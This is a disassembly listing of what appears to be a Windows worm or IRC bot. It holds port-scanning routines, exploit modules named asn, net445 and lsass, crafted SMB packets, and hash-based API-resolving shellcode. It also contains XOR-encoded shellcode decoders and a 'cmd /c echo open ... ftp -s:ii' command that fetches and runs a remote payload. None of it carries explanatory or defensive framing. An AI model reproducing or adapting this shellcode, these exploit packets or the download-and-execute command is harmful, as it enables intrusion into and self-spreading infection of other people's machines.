a230		db '230 ',0Dh,0Ah,0     ; DATA XREF: sub_41F030+254o
					; sub_41F030+269o
		align 4
a331		db '331 ',0Dh,0Ah,0     ; DATA XREF: sub_41F030+222o
					; sub_41F030+237o
		align 4
a220		db '220 ',0Dh,0Ah,0     ; DATA XREF: sub_41F030+1F3o
					; sub_41F030+205o
		align 4
aFtpD_D_D_DOnD	db 'ftp: %d.%d.%d.%d on %d',0 ; DATA XREF: sub_41F030+17Eo
		align 10h
aDDUseridUnixS	db '%d, %d : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_41F960+13Co
		align 10h
		dd 0
aBinres		db 'BINRES',0           ; DATA XREF: ___:0041FDBDo
		align 4
aUnknown	db 'unknown',0          ; DATA XREF: sub_420090:loc_4200E5o
					; sub_420630+C4r ...
		align 8
aImagepath	db 'ImagePath',0        ; DATA XREF: sub_4201F0+CBo
					; sub_4208E0+316o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Services\%s',0 ; DATA XREF: sub_4201F0+73o
					; sub_4208E0+2BEo
		align 10h
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_4204D0+63o
		align 4
aGetmodulefilen	db 'GetModuleFileNameExA',0 ; DATA XREF: sub_420630+72o
		align 10h
aEnumprocessmod	db 'EnumProcessModules',0 ; DATA XREF: sub_420630+64o
		align 8
aEnumprocesses	db 'EnumProcesses',0    ; DATA XREF: sub_420630+52o
		align 4
aPsapi_dll	db 'PSAPI.DLL',0        ; DATA XREF: sub_420630+20o
					; sub_420630+34o
		align 4
aSS		db '[%s] [%s]',0        ; DATA XREF: sub_4208E0+34Co
		align 10h
aS????_exe	db '[%s] [????.exe]',0  ; DATA XREF: sub_4208E0+32Do
		dd 0
aS????_exeUnkno	db '[%s] [????.exe] (Unknown key)',0 ; DATA XREF: sub_4208E0+2F3o
		align 8
aThemes		db 'Themes',0           ; DATA XREF: sub_4208E0+1F6o
		align 10h
aSrservice	db 'srservice',0        ; DATA XREF: sub_4208E0+1EBo
		align 4
aWuauserv	db 'wuauserv',0         ; DATA XREF: sub_4208E0+1E0o
		align 4
aWzcsvc		db 'WZCSVC',0           ; DATA XREF: sub_4208E0+1D5o
		align 10h
aWinmgmt	db 'winmgmt',0          ; DATA XREF: sub_4208E0+1CAo
		dd 0
aWebclient	db 'WebClient',0        ; DATA XREF: sub_4208E0+1BFo
		align 4
aW32time	db 'W32Time',0          ; DATA XREF: sub_4208E0+1B4o
		dd 0
aUpnphost	db 'upnphost',0         ; DATA XREF: sub_4208E0+1A9o
		align 10h
aUploadmgr	db 'uploadmgr',0        ; DATA XREF: sub_4208E0+19Eo
		align 4
aTrkwks		db 'TrkWks',0           ; DATA XREF: sub_4208E0+193o
		align 4
aTermservice	db 'TermService',0      ; DATA XREF: sub_4208E0+188o
		dd 0
aTapisrv	db 'TapiSrv',0          ; DATA XREF: sub_4208E0+17Do
		align 10h
aStisvc		db 'stisvc',0           ; DATA XREF: sub_4208E0+172o
		align 4
aSsdpsrv	db 'SSDPSRV',0          ; DATA XREF: sub_4208E0+167o
		dd 0
aSpooler	db 'Spooler',0          ; DATA XREF: sub_4208E0+15Co
		align 10h
aShellhwdetecti	db 'ShellHWDetection',0 ; DATA XREF: sub_4208E0+151o
		align 4
aSens		db 'SENS',0             ; DATA XREF: sub_4208E0+146o
		align 4
aSeclogon	db 'seclogon',0         ; DATA XREF: sub_4208E0+13Bo
		align 4
aSchedule	db 'Schedule',0         ; DATA XREF: sub_4208E0+130o
		align 4
aSamss		db 'SamSs',0            ; DATA XREF: sub_4208E0+125o
		align 4
aRpcss		db 'RpcSs',0            ; DATA XREF: sub_4208E0+11Ao
		align 4
aRasman		db 'RasMan',0           ; DATA XREF: sub_4208E0+10Fo
		align 4
aProtectedstora	db 'ProtectedStorage',0 ; DATA XREF: sub_4208E0+104o
		align 10h
aPolicyagent	db 'PolicyAgent',0      ; DATA XREF: sub_4208E0+F9o
		align 10h
aPlugplay	db 'PlugPlay',0         ; DATA XREF: sub_4208E0+EEo
		align 4
off_4452FC	dd offset word_616C4E	; DATA XREF: sub_4208E0+E3o
aNetman		db 'Netman',0           ; DATA XREF: sub_4208E0+D8o
		align 4
aMessenger	db 'Messenger',0        ; DATA XREF: sub_4208E0+CDo
		align 4
off_445314	dd offset byte_4D444D	; DATA XREF: sub_4208E0+C5o
aLmhosts	db 'LmHosts',0          ; DATA XREF: sub_4208E0+BDo
		dd 0
aLanmanworkstat	db 'lanmanworkstation',0 ; DATA XREF: sub_4208E0+B5o
		align 4
		dd 0
aLanmanserver	db 'lanmanserver',0     ; DATA XREF: sub_4208E0+ADo
		align 4
aHelpsvc	db 'helpsvc',0          ; DATA XREF: sub_4208E0+A5o
		align 8
aFastuserswitch	db 'FastUserSwitchingCompatibility',0 ; DATA XREF: sub_4208E0+9Do
		align 10h
aEventsystem	db 'EventSystem',0      ; DATA XREF: sub_4208E0+95o
		align 10h
aEventlog	db 'Eventlog',0         ; DATA XREF: sub_4208E0+8Do
		align 4
aErsvc		db 'ERSvc',0            ; DATA XREF: sub_4208E0+85o
		align 4
aDnscache	db 'Dnscache',0         ; DATA XREF: sub_4208E0+7Do
		align 10h
aDmserver	db 'dmserver',0         ; DATA XREF: sub_4208E0+75o
		align 4
aDhcp		db 'Dhcp',0             ; DATA XREF: sub_4208E0+6Do
		align 4
aCryptsvc	db 'CryptSvc',0         ; DATA XREF: sub_4208E0+65o
		align 10h
aBrowser	db 'Browser',0          ; DATA XREF: sub_4208E0+5Do
		dd 0
aAudiosrv	db 'AudioSrv',0         ; DATA XREF: sub_4208E0+55o
					; sub_4208E0:loc_420B6Bo
		align 4
asc_4453E8:				; DATA XREF: sub_420F10:loc_420FCFo
					; sub_420F10+F9o ...
		unicode	0, </>,0
aFtp		db 'ftp',0              ; DATA XREF: sub_420F10+94o
					; sub_420F10:loc_42117Eo ...
aHttp		db 'http',0             ; DATA XREF: sub_420F10+84o
					; sub_420F10+257o ...
		align 4
aAsn		db 'asn',0              ; DATA XREF: sub_4228F0+31o
		dd 0
		dd 73610000h, 6Eh, 6 dup(0)
dword_445420	dd 1BDh							; sub_422B40+310o ...
off_445424	dd offset sub_401820	; DATA XREF: ___:00423F8Dr
dword_445428	dd 0							; sub_4236F0+3Ar ...
		dd 1, 0
aAsn2		db 'asn2',0
		align 4
		dd 73610000h, 326Eh, 6 dup(0)
		dd 1BDh, 401820h, 0
		dd 1, 0
aNet445		db 'net445',0
		align 4
		dd 656E0000h, 35343474h, 6 dup(0)
		dd 1BDh, 402199h, 0
		dd 1, 0
aLsass		db 'lsass',0
		align 4
		dd 736C0000h, 737361h, 6 dup(0)
		dd 1BDh, 401DCAh, 0
		dd 1, 1Fh dup(0)
aScanSSPortScan	db 'Scan(%s): %s Port Scan %s:%d - Delay %d Sec - %d Min - %d threads'
					; DATA XREF: sub_422B40+8F3o
		db 0
		align 10h
aSequential	db 'sequential',0       ; DATA XREF: sub_422B40+8B3o
		align 10h
aRandom		db 'random',0           ; DATA XREF: sub_422B40+8ACo
		align 4
aScanNoIpSpecif	db 'scan: no ip specified',0 ; DATA XREF: sub_422B40+760o
		align 10h
		dd 0
off_4455E4	dd offset dword_622D20	; DATA XREF: sub_422B40+747o
off_4455E8	dd offset dword_612D20	; DATA XREF: sub_422B40+737o
					; sub_422B40+7A3o ...
dword_4455EC	dd 722D20h						; sub_422B40+7E5o
aScanInvalidPor	db 'scan: invalid port',0 ; DATA XREF: sub_422B40+640o
		align 8
aTotalD		db ' total: %d',0       ; DATA XREF: sub_422B40+397o
		align 8
aSD		db ' %s: %d,',0         ; DATA XREF: sub_422B40+35Fo
		align 4
aScanStats	db 'scan: stats:',0     ; DATA XREF: sub_422B40+336o
		align 4
aScanTooManyThr	db 'scan: too many threads (%s)',0 ; DATA XREF: sub_422B40+275o
		dd 2 dup(0)
aScanCouldnTSto	db 'scan: couldn',27h,'t stop',0 ; DATA XREF: sub_422B40+1DAo
		align 10h
aScanStoppedDTh	db 'scan: stopped (%d threads)',0 ; DATA XREF: sub_422B40+197o
		align 10h
aFtpPortDTotalS	db 'ftp: port: %d, total sends: %d',0 ; DATA XREF: sub_422B40+140o
		align 10h
		dd 2 dup(0)
aScanNotStarted	db 'scan: not started',0 ; DATA XREF: sub_422B40+B2o
		align 10h
aScanCipS	db 'scan: cip (%s)',0   ; DATA XREF: sub_422B40+6Do
		align 10h
		dd 0
dword_4456E4	dd 6B636F53h, 63207465h, 65736F6Ch, 2E64h, 0aRecvfromSocket	db 'recvfrom() socket failed',0 ; DATA XREF: ___:loc_423C42o
		align 8
aSocketOpen_	db 'Socket open.',0     ; DATA XREF: ___:00423C25o
		align 4
aSendtoSocketFa	db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: ___:00423B95o
dword_445750	dd 2 dup(0)	aSocketOpenFail	db 'socket open failed',0 ; DATA XREF: ___:00423B5Fo
		align 10h
aScanIpSPortDIs	db '[SCAN]: IP: %s, Port %d is open.',0 ; DATA XREF: ___:00423E37o
		align 8
aScanIpSDScanTh	db '[SCAN]: IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
					; DATA XREF: ___:00423DD6o
		dd 3 dup(0)
aScanFinishedAt	db '[SCAN]: Finished at %s:%d after %d minute(s) of scanning.',0
					; DATA XREF: ___:004242B7o
		align 10h
aScanFailedToSt	db '[SCAN]: Failed to start worker thread, error: <%d>.',0
					; DATA XREF: ___:00424206o
		align 10h
aScanSDScanThre	db '[SCAN]: %s:%d, Scan thread: %d, Sub-thread: %d.',0
					; DATA XREF: ___:0042414Fo
		dd 3 dup(0)
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_424920+BDo
		align 4
dword_4458A8	dd 10FF8h, 0	dword_4458B0	dd 10FF8h	dword_4458B4	dd 7FFDF020h, 0	dword_4458BC	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_445944	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_445974	dd 0		dword_445978	dd 800000D4h			align 10h

; =============== S U B	R O U T	I N E =======================================



sub_445980	proc near		; DATA XREF: sub_425100+85o
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_445A7C
		push	dword ptr [esi]
		push	63D61209h
		call	sub_445A92
		mov	[esi+8], eax
		call	sub_445A45
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_445A92
		mov	[esi+0Ch], eax
		call	sub_4459F7
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_445A92
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_445980	endp


; =============== S U B	R O U T	I N E =======================================



sub_4459F7	proc near		; CODE XREF: sub_445980+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_445A20
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_4459F7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_445A20	proc near		; CODE XREF: sub_4459F7+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_445A2F:				; CODE XREF: sub_445A20+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_445A3C
		inc	ebx
		jmp	short loc_445A2F
; ---------------------------------------------------------------------------


loc_445A3C:				; CODE XREF: sub_445A20+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_445A20	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_445A45	proc near		; CODE XREF: sub_445980+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_445A5D:				; CODE XREF: sub_445A45+1Ej
		cmp	[ecx], ebx
		jz	short loc_445A65
		mov	ecx, [ecx]
		jmp	short loc_445A5D
; ---------------------------------------------------------------------------


loc_445A65:				; CODE XREF: sub_445A45+1Aj
		mov	edx, edi


loc_445A67:				; CODE XREF: sub_445A45+2Aj
		cmp	[edx+4], ebx
		jz	short loc_445A71
		mov	edx, [edx+4]
		jmp	short loc_445A67
; ---------------------------------------------------------------------------


loc_445A71:				; CODE XREF: sub_445A45+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_445A45	endp


; =============== S U B	R O U T	I N E =======================================



sub_445A7C	proc near		; CODE XREF: sub_445980+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_445A7C	endp


; =============== S U B	R O U T	I N E =======================================



sub_445A92	proc near		; CODE XREF: sub_445980+16p
					; sub_445980+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_445AA8:				; CODE XREF: sub_445A92+33j
		jecxz	short loc_445AE2
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_445AB5:				; CODE XREF: sub_445A92+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_445AC1
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_445AB5
; ---------------------------------------------------------------------------


loc_445AC1:				; CODE XREF: sub_445A92+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_445AA8
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_445AE2:				; CODE XREF: sub_445A92:loc_445AA8j
					; sub_445A92:loc_445AE2j
		jmp	short loc_445AE2
sub_445A92	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================



sub_445AE8	proc near		; DATA XREF: sub_425100+1Eo

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_445B3A
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_445B05:				; CODE XREF: sub_445AE8+38j
		jecxz	short loc_445B35
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_445B10:				; CODE XREF: sub_445AE8+32j
		lodsb
		test	al, al
		jz	short loc_445B1C
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_445B10
; ---------------------------------------------------------------------------


loc_445B1C:				; CODE XREF: sub_445AE8+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_445B05
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_445B35:				; CODE XREF: sub_445AE8:loc_445B05j
		mov	[esp+arg_0], ebx
		retn
sub_445AE8	endp


; =============== S U B	R O U T	I N E =======================================



sub_445B3A	proc near		; CODE XREF: sub_445AE8+7p

; FUNCTION CHUNK AT 00445B72 SIZE 00000005 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_445B53
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_445B5E
; ---------------------------------------------------------------------------


loc_445B53:				; CODE XREF: sub_445B3A+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_445B5E:				; CODE XREF: sub_445B3A+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_445B72
sub_445B3A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_445B65	proc near		; CODE XREF: sub_445B3A:loc_445B72p
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_445B65	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445B3A


loc_445B72:				; CODE XREF: sub_445B3A+29j
		call	sub_445B65
; END OF FUNCTION CHUNK	FOR sub_445B3A
; ---------------------------------------------------------------------------
		db 0
		dd 25h dup(0)
dword_445C0C	dd 23h		dword_445C10	dd 60h		dword_445C14	dd 62B0606h, 2050501h, 0A0hdword_445C20	dd 0A1h		dword_445C24	dd 3		aCccc		db 'CCCC',0             ; DATA XREF: sub_424920+16Do
		align 10h


loc_445C30:				; DATA XREF: sub_424920+100o
		jmp	short near ptr dword_445C38
; ---------------------------------------------------------------------------
		align 8
dword_445C38	dd 0		aCmdCEchoOpenSD	db 'cmd /c echo open %s %d >> ii &echo user a a >> ii &echo binary >>'
					; DATA XREF: sub_425100+60o
		db ' ii &echo get %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &'
		db '%s',0Dh,0Ah,0
		align 4
		dd 7 dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_445CF2

; =============== S U B	R O U T	I N E =======================================



sub_445CE2	proc far		; CODE XREF: sub_445CE2:loc_445CF2p
		pop	ebx
		dec	ebx
		xor	ecx, ecx
		mov	cx, 125h


loc_445CEA:				; CODE XREF: sub_445CE2+Cj
		xor	byte ptr [ebx+ecx], 99h
		loop	loc_445CEA
		jmp	short loc_445CF7
; ---------------------------------------------------------------------------


loc_445CF2:				; CODE XREF: ___:00445CE0j
		call	near ptr sub_445CE2


loc_445CF7:				; CODE XREF: sub_445CE2+Ej
		jo	short loc_445D5B
		cdq
		cdq
		cdq
		mov	ch, 38h
		test	eax, 12999999h
		fst	dword ptr [ebp+3485E912h]
		adc	dh, cl
		xchg	eax, ecx
		adc	ch, [esi-0Dh]
		popf
		sal	byte ptr [ecx+2], 99h
		cdq
		cdq
		jnp	short loc_445D79
		icebp
		stosb
		stosd
		cdq
		cdq
		icebp
		out	dx, al
		jmp	far ptr	128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
		db 71h
		dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
		dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
		dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
		adc	dl, [ebp-0Dh]


loc_445D5B:				; CODE XREF: sub_445CE2:loc_445CF7j
		mov	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
		dd 7B32C08Ch
		db 64h
; ---------------------------------------------------------------------------


loc_445D79:				; CODE XREF: sub_445CE2+35j
		pop	edi
		fnstsw	word ptr [ebp-22982277h]
		mov	ebp, 0BDC510A4h
		rcl	dword ptr [eax], 1
		lds	edi, [ebp-423AEF2Bh]
		leave
		adc	al, 0DDh
		mov	ebp, 0C8C9CD89h
		enter	0FFFFF3C8h, 98h
		enter	66C8h, 0EFh
		test	eax, 9DCF66C8h
		adc	dl, [ebp-0Dh]
		db	66h, 66h
		test	al, 66h
		iret
sub_445CE2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dw 6685h
		dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
		dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh,	439A9452h
		dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
		dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
		dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
		dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------


loc_445E20:				; DATA XREF: sub_4257F0+12Bo
					; sub_4257F0+135o ...
		jmp	short loc_445E32

; =============== S U B	R O U T	I N E =======================================



sub_445E22	proc near		; CODE XREF: sub_445E22:loc_445E32p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh


loc_445E2A:				; CODE XREF: sub_445E22+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_445E2A
		jmp	short loc_445E37
; ---------------------------------------------------------------------------


loc_445E32:				; CODE XREF: ___:loc_445E20j
		call	sub_445E22


loc_445E37:				; CODE XREF: sub_445E22+Ej
		jo	short near ptr dword_445DB0+1Eh
		cwde
		cdq
		cdq
		retn
sub_445E22	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
word_445ED0	dw 4B9Dh		; DATA XREF: sub_4257F0+105w
		dw 59AAh
		dd 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh,	66CAC9C9h
		dd 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h,	10627B17h
		dd 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h, 0AACFC989h
		dd 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h, 0C8C9A5DEh
		dd 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h, 591C3559h
		dd 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h,	66677671h
		dd 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh
		dd 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h, 0F8FCEBF1h
		dd 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h, 0AAC6ABEAh
		dd 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h, 0F0F599FDh
		dd 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh, 0FAF6EAFCh
		dd 99EDFCF2h, 0
dword_445FB8	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: ___:00425E52o
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkPro_0	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_0	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_446044	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: ___:00425E87o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 10h
dword_4460F0	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: ___:00425EB6o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_4461D0	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4257F0+5Do
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
		db 43h,	0, 24h
dword_446227	dd 3F000000h	dword_44622B	dd 3F3F3F3Fh	byte_44622F	db 0			; DATA XREF: sub_4257F0+B4r
		dd 0
dword_446234	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4257F0+2C2o
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_4462A0	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4257F0+2F5o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_446344	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4257F0+3FAo
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_4463C4	dd offset sub_401492+3	; DATA XREF: sub_4257F0+42Bo
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset byte_406FB0+0CCh
		dd 1, 0
		dd 1, 0
		dd offset byte_406FB0+0CCh
		dd 1, 0
		dd 1, 0
		dd offset byte_406FB0+0CCh
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_446458	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4257F0+335o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_4464C4	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4257F0+368o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_446538	dd 0				dd offset loc_40A898+2
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A898+2
		dd 1, 0
		dd 1, 0
		dd offset loc_40A898+2
		dd 1, 0
		dd 1, 0
		dd offset loc_40A898+2
		dd 1, 0
		dd 1, 3	dup(0)
